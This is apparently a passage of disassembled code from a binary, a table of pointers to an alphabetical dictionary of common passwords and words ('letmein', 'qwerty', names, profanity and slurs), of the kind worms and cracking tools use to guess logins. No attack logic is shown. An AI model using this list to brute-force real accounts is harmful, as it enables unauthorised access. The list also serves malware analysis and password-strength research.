		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
